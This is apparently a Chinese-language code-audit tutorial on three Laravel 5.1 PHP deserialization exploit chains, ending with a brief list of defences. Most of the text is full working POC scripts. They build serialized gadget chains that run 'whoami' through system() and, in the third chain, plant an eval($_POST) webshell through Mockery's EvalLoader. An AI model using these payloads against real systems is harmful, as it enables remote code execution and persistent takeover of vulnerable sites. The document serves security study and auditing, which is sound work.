laravel5.1反序列化-代码审计学习
字数 973 2025-08-27 12:33:23

Laravel 5.1 反序列化漏洞分析与利用

0x00 环境准备

使用Composer创建Laravel 5.1环境:

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"

0x01 反序列化漏洞分析

漏洞入口点

漏洞利用链从WindowsPipes类的__destruct方法开始:

namespace Symfony\Component\Process\Pipes;
class WindowsPipes {
    private $files = array();
    public function __destruct() {
        $this->removeFiles();
    }
    private function removeFiles() {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
    }
}

RCE1 - 通过View类的__toString方法

  1. 调用链:

    • WindowsPipes::__destruct() -> removeFiles()
    • 触发View::__toString()
    • View::render()
    • View::renderContent()
    • $this->factory->incrementRender() (调用任意类的__call方法)
  2. 利用ValidGenerator类的__call方法:

namespace Faker;
class ValidGenerator {
    protected $generator;
    protected $validator;
    protected $maxRetries;
    
    public function __call($name, $arguments) {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        if ($this->validator) {
            call_user_func($this->validator, $res);
        }
        return $res;
    }
}
  1. 完整POC:
<?php
namespace Faker;
class DefaultGenerator{
    protected $default;
    public function __construct(){
        $this->default='whoami';
    }
}

namespace Faker;
class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct(){
        $this->maxRetries=1;
        $this->validator='system';
        $this->generator=new DefaultGenerator;
    }
}

namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new ValidGenerator;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

RCE2 - 通过DatabaseManager类的__call方法

  1. 调用链:

    • DatabaseManager::__call()
    • DatabaseManager::connection()
    • DatabaseManager::makeConnection()
    • call_user_func($this->extensions[$name], $config)
  2. 关键代码:

namespace Illuminate\Database;
class DatabaseManager{
    protected $extensions = array();
    protected $app=array();
    
    public function connection($name = null) {
        list($name, $type) = $this->parseConnectionName($name);
        if (!isset($this->connections[$name])) {
            $connection = $this->makeConnection($name);
            $this->connections[$name] = $this->prepare($connection);
        }
        return $this->connections[$name];
    }
    
    protected function makeConnection($name) {
        $config = $this->getConfig($name);
        if (isset($this->extensions[$name])) {
            return call_user_func($this->extensions[$name], $config);
        }
        // ...
    }
}
  1. 完整POC:
<?php
namespace Illuminate\Database;
class DatabaseManager{
    protected $extensions = array();
    protected $app=array();
    public function __construct(){
        $this->extensions['whoami']='call_user_func';
        $this->app['config']['database.connections']=['whoami'=>'system'];
        $this->app['config']['database.default'] = 'whoami';
    }
}

namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new DatabaseManager;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

RCE3 - 通过Validator类的__call方法

  1. 调用链:

    • Validator::__call()
    • Validator::callExtension()
    • Validator::callClassBasedExtension()
    • EvalLoader::load()
    • eval($definition->getCode())
  2. 关键代码:

namespace Illuminate\Validation;
class Validator{
    protected $extensions = [];
    protected $container;
    
    public function __call($method, $parameters) {
        $rule = Str::snake(substr($method, 8));
        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }
        // ...
    }
    
    protected function callExtension($rule, $parameters) {
        $callback = $this->extensions[$rule];
        if (is_string($callback)) {
            return $this->callClassBasedExtension($callback, $rule, $parameters);
        }
        // ...
    }
    
    protected function callClassBasedExtension($callback, $rule, $parameters) {
        list($class, $method) = Str::parseCallback($callback, '@');
        return call_user_func_array(
            [$this->container->make($class), $method], $parameters
        );
    }
}

namespace Mockery\Loader;
class EvalLoader{
    public function load(MockDefinition $definition) {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }
        eval($definition->getCode());
    }
}
  1. 完整POC:
<?php
namespace Mockery\Loader;
class EvalLoader{}

namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
    public $default;
    public function __construct(){
        $this->default=new EvalLoader;
    }
}

namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
    protected $extensions = [];
    protected $container;
    public function __construct(){
        $this->extensions['y']='huahua@load';
        $this->container=new DefaultGenerator;
    } 
}

namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
    protected $config;
    public function __construct(){
        $this->config=new DefaultGenerator;
        $this->config->default='huahua';
        $this->code='<?php eval($_POST[1]);';
    }
}

namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
    private $util;
    private $value;
    public function __construct(){
        $this->util=new Validator;
        $this->value=new MockDefinition;
    }
}

namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new ObjectStateToken());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

防御措施

  1. 升级到最新版本的Laravel框架
  2. 避免反序列化用户可控的数据
  3. 使用白名单机制限制反序列化的类
  4. 实现__wakeup()__destruct()方法的安全检查

总结

本文分析了Laravel 5.1中的三个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行。这些漏洞的核心在于Laravel框架中多个类的魔术方法(__destruct, __toString, __call)的不安全使用,以及PHP反序列化机制的特性。

Laravel 5.1 反序列化漏洞分析与利用 0x00 环境准备 使用Composer创建Laravel 5.1环境: 0x01 反序列化漏洞分析 漏洞入口点 漏洞利用链从 WindowsPipes 类的 __destruct 方法开始: RCE1 - 通过View类的__ toString方法 调用链 : WindowsPipes::__destruct() -> removeFiles() 触发 View::__toString() View::render() View::renderContent() $this->factory->incrementRender() (调用任意类的 __call 方法) 利用 ValidGenerator 类的 __call 方法 : 完整POC : RCE2 - 通过DatabaseManager类的__ call方法 调用链 : DatabaseManager::__call() DatabaseManager::connection() DatabaseManager::makeConnection() call_user_func($this->extensions[$name], $config) 关键代码 : 完整POC : RCE3 - 通过Validator类的__ call方法 调用链 : Validator::__call() Validator::callExtension() Validator::callClassBasedExtension() EvalLoader::load() eval($definition->getCode()) 关键代码 : 完整POC : 防御措施 升级到最新版本的Laravel框架 避免反序列化用户可控的数据 使用白名单机制限制反序列化的类 实现 __wakeup() 或 __destruct() 方法的安全检查 总结 本文分析了Laravel 5.1中的三个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行。这些漏洞的核心在于Laravel框架中多个类的魔术方法( __destruct , __toString , __call )的不安全使用,以及PHP反序列化机制的特性。